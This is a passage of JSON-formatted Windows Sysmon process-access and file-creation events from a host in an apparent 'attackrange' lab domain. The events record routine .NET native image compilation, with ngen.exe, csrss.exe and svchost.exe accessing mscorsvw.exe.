Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-0010E5320E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-0010E5320E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-0010E5320E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.761\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-0010E5320E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.761","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-0010E5320E00}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00104C420C00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00104C420C00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B3-5F2D-0000-00104C420C00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00104C420C00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:43.871\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-00106F360E00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:43.871","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-00106F360E00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:45.932\r\nProcessGuid: {90617006-42E3-5F2D-0000-00106F360E00}\r\nProcessId: 4180\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1054-0\\System.Data.SqlXml.dll\r\nCreationUtcTime: 2020-08-07 12:02:45.932","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:45.932","ProcessGuid":"{90617006-42E3-5F2D-0000-00106F360E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1054-0\\System.Data.SqlXml.dll","CreationUtcTime":"2020-08-07 12:02:45.932","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:46.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E6-5F2D-0000-001055420E00}","TargetProcessId":"4192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:46.091\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E6-5F2D-0000-001055420E00}\r\nTargetProcessId: 4192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 